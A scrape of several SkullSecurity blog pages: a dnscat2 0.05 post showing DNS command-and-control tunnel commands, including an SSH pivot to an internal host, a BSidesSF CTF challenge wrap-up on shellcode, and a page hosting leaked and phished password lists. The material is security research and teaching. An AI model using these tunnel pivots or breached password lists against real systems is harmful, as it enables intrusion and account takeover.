    The dnscat2 client, however, has no idea what's happening yet! The client doesn't know what's happening until it's actually told to connect to something with a TUNNEL_CONNECT message (which will be discussed later).

    Now we can connect to the server on port 8080 and request a page:

    $ echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
    localhost [127.0.0.1] 8080 (http-alt) open
    HTTP/1.0 200 OK
    Date: Thu, 24 Dec 2015 16:28:27 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    [...]
    

    On the server, we see the request going out:

    command (ankh) 1> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    command (ankh) 1>
    Connection from 127.0.0.1:60480; forwarding to www.google.com:80...
    [Tunnel 0] connection successful!
    [Tunnel 0] closed by the other side: Server closed the connection!
    Connection from 123.151.42.61:48904; forwarding to www.google.com:80...
    

    And you also see very similar messages on the client:

    Got a command: TUNNEL_CONNECT [request] :: request_id 0x0001 :: host www.google.com :: port 80
    [[ WARNING ]] :: [Tunnel 0] connecting to www.google.com:80...
    [[ WARNING ]] :: [Tunnel 0] connected to www.google.com:80!
    [[ WARNING ]] :: [Tunnel 0] connection to www.google.com:80 closed by the server!
    

    That's pretty much all you need to know! One more quick example:

    To forward a ssh connection to an internal machine:

    command (ankh) 1> listen 127.0.0.1:2222 192.168.1.100:22
    

    Followed by ssh -p2222 root@localhost. That'll connect to 192.168.1.100 on port 22, via the dnscat client!

    Stopping a session

    I frequently used auto-commands while testing this feature:

    ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace
    

    The problem is that I'd connect with a client, hard-kill it with ctrl-c (so it doesn't tell the server it's gone), then start another one. When the second client connects, the server won't be able to listen anymore:

    Listening on 0.0.0.0:4444, sending connections to localhost:5555
    Sorry, that address:port is already in use: Address already in use - bind(2)
    
    If you kill a session from the root window with the 'kill'
    command, it will free the socket. You can get a list of which
    sockets are being used with the 'tunnels' command!
    
    I realize this is super awkward.. don't worry, it'll get
    better next version! Stay tuned!
    

    If you know which session is the problem, it's pretty easy.. just kill it from the main window (Window 0 - press ctrl-z to get there):

    dnscat2> kill 1
    Session 1 has been sent the kill signal!
    Session 1 killed: No reason given
    

    If you don't know which session it is, you have to go into each session and run tunnels to figure out which one is holding the port open:

    dnscat2> session -i 1
    [...]
    command (ankh) 1> tunnels
    Tunnel listening on 0.0.0.0:2222
    Tunnel listening on 0.0.0.0:1234
    Tunnel listening on 0.0.0.0:4444
    

    Once that's done, you can either use the 'shutdown' command (if the session is still active) or go back to the main window and use the kill command.

    I realize that's super awkward, and I have a plan to fix it. It's going to require some refactoring, though, and it won't be ready for a few more days. And I really wanted to get this release out before Christmas!

    Implementation details

    As usual, the implementation is documented in detail in the protocol.md and command_protocol.md docs.

    Basically, I extended the "command protocol", which is the protocol that's used for commands like upload, download, ping, shell, exec, etc.

    Traditionally, the command protocol was purely the server making a request and the client responding to the request. For example, "download /etc/passwd" "okay, here it is". However, the tunnel protocol works a bit differently, because either side can send a request.

    Unfortunately, the client sending a request to the server, while it was something I'd planned and written code for, had a fatal flaw: there was no way to identify a request as a request, and therefore when the client sent a request to the server it had to rely on some rickety logic to determine if it was a request or not. As a result, I made a tough call: I broke compatibility by adding a one-bit "is a response?" field to the start of request_id - responses now have the left-most bit set of the request_id.

    At any time - presumably when a connection comes in, but we'll see what the future holds! - the server can send a TUNNEL_CONNECT request to the client, which contains a hostname and port number. That tells the client to make a connection to that host:port, which it attempts to do. If the connection is successful, the client responds with a TUNNEL_CONNECT response, which simply contains the tunnel_id.

    From then on, data can be sent in either direction using TUNNEL_DATA requests. This is the first time the client has been able to send a request to the server, and is also the first time a message was defined that doesn't have a response - neither side should (or can) respond to a TUNNEL_DATA message. Which is fine, because we have guaranteed delivery from lower level protocols.

    When either side decides to terminate the connection, it sends a TUNNEL_CLOSE request, which contains a tunnel_id and a reason string.

    One final implementation detail: tunnel_ids are local to a session.

    Future plans

    As I said at the start, I've implemented ssh -L. My next plans are to implement ssh -D (easysauce!) and ssh -R (hardersauce!). I also have some other fun ideas on what I can do with the tunnel protocol, so stay tuned for that. :)

    The tricky part about ssh -R is keeping it secure. The client shouldn't be able to arbitrarily forward connections via the server - the server should be able to handle malicious clients securely, at least by default. Therefore, it's going to require some extra planning and architecting!

    Conclusion

    And yeah, that's pretty much it! As always, if you like this blog or the work I'm doing on dnscat2, you can support me on Patreon! Seriously, I have no ads or monetization on my site, and I spend more money on hosting password lists than I make off it, so if you wanna be awesome and help out, I really, really appreciate it! :)

    And as always, I'm happy to answer questions or take feature requests! You're welcome to email me, reply to this blog, or file an issue on Github!

    3 thoughts on “dnscat2 0.05: with tunnels!

    1. Reply

      Cobalt

      Hey Ron, I noticed on your wiki password page that there are some password lists that say reserved. Are they reserved because they're too large to host?

    2. Reply

      cccsober

      could u please tell me
      how to download file from client to server?
      3q very much

    3. Reply

      Cornelius

      I have been able to connect the server and client, however, when I use the help command i get this list, Echo, Help , Kill, Quit, Start, Stop, Tunnels, Unset, Window, Windows.

      There is no session in this list, neither is it working when I tried to use it. How do I control the client machine or at the least do more that just being connected to the client machine.

      I need some directions on this please.

      Thanks.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Registration Form ‹ SkullSecurity — WordPress

    Powered by WordPress

    Register For This Site

    Registration confirmation will be emailed to you.


    ← Back to SkullSecurity

    #####EOF##### December » 2015 » SkullSecurity

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday! My Christmas present to you, the community, is dnscat2 version 0.05! Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and […]

    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there! […]

    #####EOF##### BSidesSF CTF wrap-up » SkullSecurity


    BSidesSF CTF wrap-up

    Welcome!

    While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

    BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.


    The goal of this post is to explain a little bit of the motivation behind the challenges I wrote, and to give basic solutions. It's not going to have a step-by-step walkthrough of each challenge - though you might find that in the writeups list - but, rather, I'll cover what I intended to teach, and some interesting (to me :) ) trivia.

    If you want to see the source of the challenges, our notes, and mostly everything else we generated as part of creating this CTF, you can find them here:

    • Original sourcecode on github
    • Google Drive notes (note that that's not the complete set of notes - some stuff (like comments from our meetings, brainstorming docs, etc) are a little too private, and contain ideas for future challenges :) )

    Part of my goal for releasing all of our source + planning documents + deployment files is to a) show others how a CTF can be run, and b) encourage other CTF developers to follow suit and release their stuff!

    As of the writing, the scoreboard and challenges are still online. We plan to keep them around for a couple more days before finally shutting them down.

    Infrastructure

    The rest of my team can most definitely confirm this: I'm not an infrastructure kinda guy. I was happy to write challenges, and relied on others for infrastructure bits. The only thing I did was write a Dockerfile for each of my challenges.

    As such, I'll defer to my team on this part. I'm hoping that others on my team will post more details about the configurations, which I'll share on my Twitter feed. You can also find all the Dockerfiles and deployment scripts on our Github repository.

    What I do know is, we used:

    • Googles CTF Scoreboard running on AppEngine for our scoreboard
    • Dockerfiles for each challenge that had an online component, and Docker for testing
    • docker-compose for testing
    • Kubernetes for deployment
    • Google Container Engine for running all of that in The Cloud

    As I said, all the configurations are on Github. The infrastructure worked great, though, we had absolutely no traffic or load problems, and only very minor other problems.

    I'm also super excited that Google graciously sponsored all of our Google Cloud expenses! The CTF weekend cost us roughly $500 - $600, and as of now we've spent a little over $800.

    Players

    Just a few numbers:

    • We had 728 teams register
    • We had 531 teams score at least one point
    • We had 354 teams score at least 100 points
    • We had 23 teams submit at least one on-site flag (presumably, that many teams played on-site)

    Also, the top-10 teams were:

    • dcua :: 6773
    • OpenToAll :: 5178
    • scryptos :: 5093
    • Dragon Sector :: 4877
    • Antichat :: 4877
    • p4 :: 4777
    • khack40 :: 4677
    • squareroots :: 4643
    • ASIS :: 4427
    • Ox002147 :: 4397

    The top-10 teams on-site were:

    • OpenToAll :: 5178
    • ▣ :: 3548
    • hash_slinging_hackers :: 3278
    • NeverTry :: 2912
    • 0x41434142 :: 2668
    • DevOps Solution :: 1823
    • Shadow Cats :: 1532
    • HOW BOU DAH :: 1448
    • Newbie :: 762
    • CTYS :: 694

    The full list can be found on our CTFTime.org page.

    On-site challenges

    We had three on-site challenges (none of them created by me):

    on-sight [1]

    This was a one-point challenge designed simply to determine who's eligible for on-site prizes. We had to flag taped to the wall. Not super interesting. :)

    (Speaking of prizes, I want to give a shout out to Synack for providing some prizes, and in particular to working with us on a fairly complex set-up for dealing with said prizes. :)

    Shared Secrets [250]

    The Shared Secrets challenge was a last-minute idea. We wanted more on-site challenges, and others on the CTF organizers team came up with Shamir Shared Secret Scheme. We posted QR Codes containing pieces of a secret around the venue.

    It was a "3 of 6" scheme, so only three were actually needed to get the secret.

    The quotes on top of each image try to push people towards either "Shamir" or "ACM 22(11)". My favourite was, "Hi, hi, howdy, howdy, hi, hi! While everyone is minus, you could call me multiply", which is a line from a Shamir (the rapper) song. I did not determine if Shamir the rapper and Shamir the cryptographer were the same person. :)

    Locker [150]

    Locker is really cool! We basically set up a padlock with an Arduino and a receipt printer. After successfully picking the lock, you'd get a one-time-use flag printed out by the printer.

    (We had some problems with submitting the flag early-on, because we forgot to build the database for the one-time-use flags, but got that resolved quickly!)

    @bmenrigh developed the lock post, which detected the lock opening, and @matir developed the software for the receipt printer.

    My challenges

    I'm not going to go over others' challenges, other than the on-site ones I already covered, I don't have the insight to make comments on them. However, I do want to cover all my challenges. Not a ton of detail, but enough to understand the context. I'll likely blog about a couple of them specifically later.

    I probably don't need to say it, but: challenge spoilers coming!

    'easy' challenges [10-40]

    I wrote a series of what I called 'easy' challenges. They don't really have a trick to them, but teach a fundamental concept necessary to do CTFs. They're also a teaching tool that I plan to use for years to come. :)

    easy [10] - a couldn't-be-easier reversing challenge. Asks for a password then prints out a flag. You can get both the password and the flag by running strings on the binary.

    easyauth [30] - a web challenge that sets a cookie, and tells you it's setting a cookie. The cookie is simply 'username=guest'. If you change the cookie to 'username=administrator', you're given the flag. This is to force people to learn how to edit cookies in their browser.

    easyshell [30] and easyshell64 [30] - these are both simple programs where you can send it shellcode, and they run it. It requires the player to figure out what shellcode is and how to use it (eg, from msfvenom or an online shellcode database). There's both a 32- and a 64-bit version, as well.

    easyshell and easyshell64 are also good ways to test shellcode, and a place where people can grab libc binaries, if needed.

    And finally, easycap [40] is a simple packet capture, where a flag is sent across the network one packet at a time. I didn't keep my generator, but it's essentially a ruby script that would do a s.send() on each byte of a string.

    skipper [75] and skipper2 [200]

    Now, we're starting to get into some of the levels that require some amount of specialized knowledge. I wrote skipper and skipper2 for an internal company CTF a long time ago, and have kept them around as useful teaching tools.

    One of the first thing I ever did in reverse engineering was write a registration bypass for some icon-maker program on 16-bit DOS using the debug.com command and some dumb luck. Something where you had to find the "Sorry, your registration code is invalid" message and bypass it. I wanted to simulate this, and that's where these came from.

    With skipper, you can bypass the checks by just changing the program counter ($eip or $rip) or nop'ing out the checks. skipper2, however, incorporates the results from the checks into the final flag, so they can't be skipped quite so easily. Rather, you have to stop before each check and load the proper value into memory to get the flag. This simulates situations I've legitimately run into while writing keygens.

    hashecute [100]

    When I originally conceived of hashecute, I had imagined it being fairly difficult. The idea is, you can send any shellcode you want to the server, but you have to prepend the MD5 of the shellcode to it, and the prepended shellcode runs as well. That's gotta be hard, right? Making an MD5 that's executable??

    Except it's not, really. You just need to make sure your checksum starts with a short-jump to the end of the checksum (or to a NOP sled if you want to do it even faster!). That's \xeb\x0e (for jmp) or \e9\x0e (for call), as the simplest examples (there are practically infinite others). And it's really easy to do that by just appending crap to the end of the shellcode: you can see that in my solution.

    It does, however, teach a little critical thinking to somebody who might not be super accustomed to dealing with machine code, so I intend to continue using this one as a teaching tool. :)

    b-64-b-tuff [100]

    b-64-b-tuff has the dual-honour of both having the stupidest name and being the biggest waste of my own time .:)

    So, I came up with the idea of writing this challenge during a conversation with a friend: I said that I know people have written shellcode encoders for unicode and other stuff, but nobody had ever written one for Base64. We should make that a challenge!

    So I spent a couple minutes writing the challenge. It's mostly just Base64 code from StackOverflow or something, and the rest is the same skeleton as easyshell/easyshell64.

    Then I spent a few hours writing a pure Base64 shellcode encoder. I intend to do a future blog 100% about that process, because I think it's actually a kind of interesting problem. I eventually got to the point where it worked perfectly, and I was happy that I could prove that this was, indeed, solveable! So I gave it a stupid name and sent out my PR.

    That's when I think @matir said, "isn't Base64 just a superset of alphanumeric?".

    Yes. Yes it is. I could have used any off-the-shelf alphanumeric shellcode encoder such as msfvenom. D'OH!

    But, the process was really interesting, and I do plan to write about it, so it's not a total loss. And I know at least one player did the same (hi @Grazfather! [he graciously shared his code where he encoded it all by hand]), so I feel good about that :-D

    in-plain-sight [100]

    I like to joke that I only write challenges to drive traffic to my blog. This is sort of the opposite: it rewards teams that read my blog. :)

    A few months ago, while writing the delphi-status challenge (more on that one later), I realized that when encrypting data using a padding oracle, the last block can be arbitrarily chosen! I wrote about it in an off-handed sort of way at that time.

    Shortly after, I realized that it could make a neat CTF challenge, and thus was born in-plain-site.

    It's kind of a silly little challenge. Like one of those puzzles you get in riddle books. The ciphertext was literally the string "HiddenCiphertext", which I tell you in the description, but of course you probably wouldn't notice that. When you do, it's a groaner. :)

    Fun story: I had a guy from the team OpenToAll bring up the blog before we released the challenge, and mention how he was looking for a challenge involving plaintext ciphertext. I had to resist laughing, because I knew it was coming!

    i-am-the-shortest [200]

    This was a silly little level, which once again forces people to get shellcode. You're allowed to send up to 5 bytes of shellcode to the server, where the flag is loaded into memory, and the server executes them.

    Obviously, 5 bytes isn't enough to do a proper syscall, so you have to be creative. It's more of a puzzle challenge than anything.

    The trick is, I used a bunch of in-line assembly when developing the challenge (see the original source, it isn't pretty!) that ensures that the registers are basically set up to make a syscall - all you have to do it move esi (a pointer to the flag) into ecx. I later discovered that you can "link" variables to specific registers in gcc.

    The intended method was for people to send \xcc for the shellcode (or similar) and to investigate the registers, determining what the state was, and then to use shellcode along the lines of xchg esi, ecx / int 0x80. And that's what most solvers I talked to did.

    One fun thing: eax (which is the syscall number when a syscall is made) is set to len(shellcode) (the return value of read()). Since sys_write, the syscall you want to make, is number 4, you can easily trigger it by sending 4 bytes. If you send 5 bytes, it makes the wrong call.

    Several of the solutions I saw had a dec eax instruction in them, however! The irony is, you only need that instruction because you have it. If you had just left it off, eax would already be 4!

    delphi-status [250]

    delphi-status was another of those levels where I spent way more time on the solution than on the challenge.

    It seems common enough to see tools to decrypt data using a padding oracle, but not super common to see challenges where you have to encrypt data with a padding oracle. So I decided to create a challenge where you have to encrypt arbitrary data!

    The original goal was to make somebody write a padding oracle encryptor tool for me. That seemed like a good idea!

    But, I wanted to make sure this was do-able, and I was just generally curious, so I wrote it myself. Then I updated my tool Poracle to support encryption, and wrote a blog about it. If there wasn't a tool available that could encrypt arbitrary data with a padding oracle, I was going to hold back on releasing the code. But tools do exist, so I just released mine.

    It turns out, there was a simpler solution: you could simply xor-out the data from the block when it's only one block, and xor-in arbitrary data. I don't have exact details, but I know it works. Basically, it's a classic stream-cipher-style attack.

    And that just demonstrates the Cryptographic Doom Principle :)

    ximage [300]

    ximage might be my favourite level. Some time ago - possibly years - I was chatting with a friend, and steganography came up. I wondered if it was possible to create an image where the very pixels were executable!?

    I went home wondering if that was possible, and started trying to think of 3-byte NOP-equivalent instructions. I managed to think of a large number of work-able combinations, including ones that modified registers I don't care about, plus combinations of 1- and 2-byte NOP-equivalents. By the end, I could reasonably do most colours in an image, including black (though it was slightly greenish) and white. You can find the code here.

    (I got totally nerdsniped while writing this, and just spent a couple days trying to find every 3-byte NOP equivalent to see how much I can improve this!)

    Originally, I just made the image data executable, so you'd have to ignore the header and run the image body. Eventually, I noticed that the bitmap header, 'BM', was effectively inc edx / dec ebp, which is a NOP for all I'm concerned. That's followed by a 2-byte length value. I changed that length on every image to be \xeb\x32, which is effectively a jump to the end of the header. That also caused weird errors when reading the image, which I was totally fine with leaving as a hint.

    So what you have is an image that's effectively shellcode; it can be loaded into memory and run. A steganographic method that has probably never been done. :)

    beez-fight [350]

    beez-fight was an item-duplication vulnerability that was modeled after a similar vulnerability in Diablo 2. I had a friend a lonnnng time ago who discovered a vulnerability in Diablo 2, where when you sold an item it was copied through a buffer, and that buffer could be sold again. I was trying to think of a similar vulnerability, where a buffer wasn't cleared correctly.

    I started by writing a simple game engine. While I was creating items, locations, monsters, etc., I didn't really think about how the game was going to be played - browser? A binary I distribute? netcat? Distributing a binary can be fun, because the player has to reverse engineer the protocol. But netcat is easier! The problem is, the vulnerability has to be a bit more subtle in netcat, because I can't depend on a numbered buffer - what you see is what you get!

    Eventually, I came upon the idea of equip/unequip being problematic. Not clearing the buffer properly!

    Something I see far too much in real life is code that checks if an object exists in a different way in different places. So I decided to replicate that - I had both an item that's NULL-able, and a flag :is_equipped. When you tried to use an item, it would check if the :is_equipped flag is set. But when you unequipped it, it checked if the item was NULL, which never actually happened (unequipping it only toggled the flag). As a result, you could unequip the item multiple times and duplicate it!

    Once that was done, the rest was easy: make a game that's too difficult to reasonably survive, and put a flag in the store that's worth a lot of gold. The only reasonable way to get the flag is to duplicate an item a bunch, then sell it to buy the flag.

    I think I got the most positive feedback on this challenge, people seem to enjoy game hacking!

    vhash + vhash-fixed [450]

    This is a challenge that me and @bmenrigh came up with, designed to be quite difficult. It was vhash, and, later, vhash-fixed - but we'll get to that. :)

    It all dates back to a conversation I had with @joswr1ght about a SANS Holiday Hack Challenge level I was designing. I suggested using a hash-extension vulnerability, and he said we can't, because of hash_extender, recklessly written by yours truly, ruining hash extension vulnerabilities forever!

    I found that funny, and mentioned it to @bmenrigh. We decided to make our own novel hashing algorithm that's vulnerable to an extension attack. We decided to make it extra hard by not giving out source! Players would have to reverse engineer the algorithm in order to implement the extension attack. PERFECT! Nobody knows as well as me how difficult it can be to create a new hash extension attack. :)

    Now, there is where it gets a bit fun. I agreed to write the front-end if he wrote the back-end. The front-end was almost exactly easyauth, except the cookie was signed. We decided to use an md5sum-like interface, which was a bit awkward in PHP, but that was fine. I wrote and tested everything with md5sum, and then awaited the vhash binary.

    When he sent it, I assumed vhash was a drop-in replacement without thinking too much about it. I updated the hash binary, and could log in just fine, and that was it.

    When the challenge came out, the first solve happened in only a couple minutes. That doesn't seem possible! I managed to get in touch with the solver, and he said that he just changed the cookie and ignored the hash. Oh no! Our only big mess-up!

    After investigation, we discovered that the agreed md5sum-like interface meant, to @bmenrigh, that the data would come on stdin, and to me it meant that the file would be passed as a parameter. So, we were hashing the empty string every time. Oops!

    Luckily, we found it, fixed it, and rolled out an updated version shortly after. The original challenge became an easy 450-pointer for anybody who bothered to try, and the real challenge was only solved by a few, as intended.

    dnscap [500]

    dnscap is simply a packet-capture from dnscat2, running in unecrypted-mode, over a laggy connection (coincidentally, I'm writing this writeup at the same bar where I wrote the original challenge!). In dnscat2, I sent a .png file that contains the dnscat2 logo, as well as the flag. Product placement anyone?

    I assumed it would be fairly difficult to disentangle the packets going through, which is why we gave it a high point-value. Ultimately, it was easier than we'd expected, people were able to solve it fairly quickly.

    nibbler [666]

    And finally, my old friend nibbler.

    At some point in the past few months, I had the realization: nibbles (the snake game for QBasic where I learned to program) sounds like nibble (a 4-bit value). I forget where it came from exactly, but I had the idea to build a nibbles-clone with a vulnerability where you'd have to exploit it by collecting the 'fruit' at the right time.

    I originally stored the scores in an array, and each 'fruit' would change between between worth 00 and FF points. You'd have to overflow the stack and build an exploit by gathering fruit with the snake. You'll notice that the name that I ask for at the start uses read() - that's so it can have NUL bytes so you can build a ROP-chain in your name.

    I realized that picking values between 00 and FF would take FOREVER, and wanted to get back to the original idea: nibbles! But I couldn't think of a way to make it realistic while only collecting 4-bit values.

    Eventually, I decided to drop the premise of performing an exploit, and instead, just let the user write shellcode that is run directly. As a result, it went from a pwn to a programming challenge, but I didn't re-categorize it, largely because we don't have programming challenges.

    It ended up being difficult, but solveable! One of my favourite writeups is here; I HIGHLY recommend reading it. My favourite part is that he named the snakes and drew some damn sexy images!

    I just want to give a shout out to the poor soul, who I won't name here, who solved this level BY HAND, but didn't cat the flag file fast enough. I shouldn't have had the 10-second timeout, but we did. As a result, he didn't get the flag. I'm so sorry. :(

    Fun fact: @bmenrigh was confident enough that this level was impossible to solve that he made me a large bet that less than 2 people would solve it. Because we had 9 solvers, I won a lot of alcohol! :)

    Conclusion

    Hopefully you enjoyed hearing a little about the BSidesSF CTF challenges I wrote! I really enjoyed writing them, and then seeing people working on solving them!

    On some of the challenges, I tried to teach something (or have a teachable lesson, something I can use when I teach). On some, I tried to make something pretty difficult. On some, I fell somewhere between. But there's one thing they have in common: I tried to make my own challenges as easy as possible to test and validate. :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Passwords - SkullSecurity

    Passwords

    From SkullSecurity
    Jump to: navigation, search
    HEY EVERYBODY! If you like this page, please consider supporting me on Patreon!


    Password dictionaries

    These are dictionaries that come with tools/worms/etc, designed for cracking passwords. As far as I know, I'm not breaking any licensing agreements by mirroring them with credit; if you don't want me to host one of these files, let me know and I'll remove it.

    Name Compressed Uncompressed Notes
    John the Ripper john.txt.bz2 (10,934 bytes) n/a Simple, extremely good, designed to be modified
    Cain & Abel cain.txt.bz2 (1,069,968 bytes) n/a Fairly comprehensive, not ordered
    Conficker worm conficker.txt.bz2 (1411 bytes) n/a Used by conficker worm to spread -- low quality
    500 worst passwords 500-worst-passwords.txt.bz2 (1868 bytes) n/a
    370 Banned Twitter passwords twitter-banned.txt.bz2 (1509 bytes) n/a

    Leaked passwords

    Passwords that were leaked or stolen from sites. I'm hosting them because it seems like nobody else does (hopefully it isn't because hosting them is illegal :)). Naturally, I'm not the one who stole these; I simply found them online, removed any names/email addresses/etc (I don't see any reason to supply usernames -- if you do have a good reason, email me (ron-at-skullsecurity.net) and I'll see if I have them.

    The best use of these is to generate or test password lists.

    Note: The dates are approximate.

    Name Compressed Uncompressed Date Notes
    Rockyou rockyou.txt.bz2 (60,498,886 bytes) n/a 2009-12 Best list available; huge, stolen unencrypted
    Rockyou with count rockyou-withcount.txt.bz2 (59,500,255 bytes) n/a
    phpbb phpbb.txt.bz2 (868,606 bytes) n/a 2009-01 Ordered by commonness
    Cracked from md5 by Brandon Enright
    (97%+ coverage)
    phpbb with count phpbb-withcount.txt.bz2 (872,867 bytes) n/a
    phpbb with md5 phpbb-withmd5.txt.bz2 (4,117,887 bytes) n/a
    MySpace myspace.txt.bz2 (175,970 bytes) n/a 2006-10 Captured via phishing
    MySpace - with count myspace-withcount.txt.bz2 (179,929 bytes) n/a
    Hotmail hotmail.txt.bz2 (47,195 bytes) n/a Unknown Isn't clearly understood how these were stolen
    Hotmail with count hotmail-withcount.txt.bz2 (47,975 bytes) n/a
    Faithwriters faithwriters.txt.bz2 (39,327 bytes) n/a 2009-03 Religious passwords
    Faithwriters - with count faithwriters-withcount.txt.bz2 (40,233 bytes) n/a
    Elitehacker elitehacker.txt.bz2 (3,690 bytes) n/a 2009-07 Part of zf05.txt
    Elitehacker - with count elitehacker-withcount.txt.bz2 (3,846 bytes) n/a
    Hak5 hak5.txt.bz2 (16,490 bytes) n/a 2009-07 Part of zf05.txt
    Hak5 - with count hak5-withcount.txt.bz2 (16,947 bytes) n/a
    Älypää alypaa.txt.bz2 (5,178 bytes) n/a 2010-03 Finnish passwords
    alypaa - with count alypaa-withcount.txt.bz2 (6,013 bytes) n/a
    Facebook (Pastebay) facebook-pastebay.txt.bz2 (375 bytes) n/a 2010-04 Found on Pastebay;
    appear to be malware-stolen.
    Facebook (Pastebay) - w/ count facebook-pastebay-withcount.txt.bz2 (407 bytes) n/a
    Unknown porn site porn-unknown.txt.bz2 (30,600 bytes) n/a 2010-08 Found on angelfire.com. No clue where they originated, but clearly porn site.
    Unknown porn site - w/ count porn-unknown-withcount.txt.bz2 (31,899 bytes) n/a
    Ultimate Strip Club List tuscl.txt.bz2 (176,291 bytes) n/a 2010-09 Thanks to Mark Baggett for finding!
    Ultimate Strip Club List - w/ count tuscl-withcount.txt.bz2 (182,441 bytes) n/a
    [Facebook Phished] facebook-phished.txt.bz2 (14,457 bytes) n/a 2010-09 Thanks to Andrew Orr for reporting
    Facebook Phished - w/ count facebook-phished-withcount.txt.bz2 (14,941 bytes) n/a
    Carders.cc carders.cc.txt.bz2 (8,936 bytes) n/a 2010-05
    Carders.cc - w/ count carders.cc-withcount.txt.bz2 (9,774 bytes) n/a
    Singles.org singles.org.txt.bz2 (50,697 bytes) n/a 2010-10
    Singles.org - w/ count singles.org-withcount.txt.bz2 (52,884 bytes) n/a
    Unnamed financial site (reserved) (reserved) 2010-12
    Unnamed financial site - w/ count (reserved) (reserved)
    Gawker (reserved) (reserved) 2010-12
    Gawker - w/ count (reserved) (reserved)
    Free-Hack.com (reserved) (reserved) 2010-12
    Free-Hack.com w/count (reserved) (reserved)
    Carders.cc (second time hacked) (reserved) (reserved) 2010-12
    Carders.cc w/count (second time hacked) (reserved) (reserved)

    Statistics

    I did some tests of my various dictionaries against the different sets of leaked passwords. I grouped them by the password set they were trying to crack:

    Miscellaneous non-hacking dictionaries

    These are dictionaries of words (etc), not passwords. They may be useful for one reason or another.

    Name Compressed Uncompressed Notes
    English english.txt.bz2 (1,368,101 bytes) n/a My combination of a couple lists, from Andrew Orr, Brandon Enright, and Seth
    German german.txt.bz2 (2,371,487 bytes) n/a Compiled by Brandon Enright
    American cities us_cities.txt.bz2 (77,081 bytes) n/a Generated by RSnake
    "Porno" porno.txt.bz2 (7,158,285 bytes) n/a World's largest porno password collection!
    Created by Matt Weir
    Honeynet honeynet.txt.bz2 (889,525 bytes) n/a From a honeynet run by Joshua Gimer
    Honeynet - w/ count honeynet-withcount.txt.bz2 (901,868 bytes) n/a
    File locations file-locations.txt.bz2 (1,724 bytes) n/a Potential logfile locations (for LFI, etc).
    Thanks to Seth!
    Fuzzing strings (Python) fuzzing-strings.txt.bz2 (276 bytes) n/a Thanks to Seth!
    PHPMyAdmin locations phpmyadmin-locations.txt.bz2 (304 bytes) n/a Potential PHPMyAdmin locations.
    Thanks to Seth!
    Web extensions web-extensions.txt.bz2 (117 bytes) n/a Common extensions for Web files.
    Thanks to dirb!
    Web mutations web-mutations.txt.bz2 (177 bytes) n/a Common 'mutations' for Web files.
    Thanks to dirb!

    DirBuster has some awesome lists, too -- usernames and filenames.

    Facebook lists

    These are the lists I generated from this data. Some are more useful than others as password lists. All lists are sorted by commonness.

    If you want a bunch of these, I highly recommend using the torrent. It's faster, and you'll get them all at once.

    Name Compressed Uncompressed Date Notes
    Full names facebook-names-unique.txt.bz2 (479,332,623 bytes) n/a 2010-08  
    Full names - w/ count facebook-names-withcount.txt.bz2 (477,274,173 bytes) n/a
    First names facebook-firstnames.txt.bz2 (16,464,124 bytes) n/a 2010-08  
    First names - w/ count facebook-firstnames-withcount.txt.bz2 (73,134,218 bytes) n/a
    Last names facebook-lastnames.txt.bz2 (21,176,444 bytes) n/a 2010-08  
    Last names - w/ count facebook-lastnames-withcount.txt.bz2 (21,166,232 bytes) n/a
    First initial last names facebook-f.last.txt.bz2 (67,110,776 bytes) n/a 2010-08  
    First initial last names - w/ count facebook-f.last-withcount.txt.bz2 (66,348,431 bytes) n/a
    First name last initial facebook-first.l.txt.bz2 (37,463,798 bytes) n/a 2010-08  
    First name last initial facebook-first.l-withcount.txt.bz2 (36,932,295 bytes) n/a

    Navigation menu

    #####EOF##### July » 2010 » SkullSecurity

    Return of the Facebook Snatchers

    First and foremost: if you want to cut to the chase, just download the torrent. If you want the full story, please read on.... Background Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: Attack of the Facebook Snatchers. I was blog […]

    Information Security For College Students

    I've thought about this off and on over the last few years.  Today I noticed that Kees Leune (http://www.leune.org/blog/kees/2010/07/teaching-agai.html) is going to be teaching a class this school year.  He was asking for comments and so here's mine.... I'd like to see a threefold class system.  The first class would entail an overview of the […]

    Call for testers: nbtool-0.05 and dnscat-0.05

    Hey all, I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer. I'm hoping for people to test: Through […]

    #####EOF##### #####EOF##### Passwords » SkullSecurity

    Call for help: researching the recent gmail password leak

    Hey folks, You probably heard this week about 5 million @gmail.com accounts posted. I've been researching it independently, and was hoping for some community help (this is completely unrelated to the fact that I work at Google - I just like passwords). I'm reasonably sure that the released list is an amalgamation of a bunch […]

    Battle.net authentication misconceptions

    Hey everybody, There have been a lot of discussion and misconceptions about Battle.net's authentication lately. Having done a lot of work on the Battle.net protocol, I wanted to lay some to rest. The first thing to understand is that, at least at the time I was working on this, there were three different login methods […]

    (Mostly) good password resets

    Hey everybody! This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this? So, here's the thing. I like to break stuff, but […]

    Hacking crappy password resets (part 2)

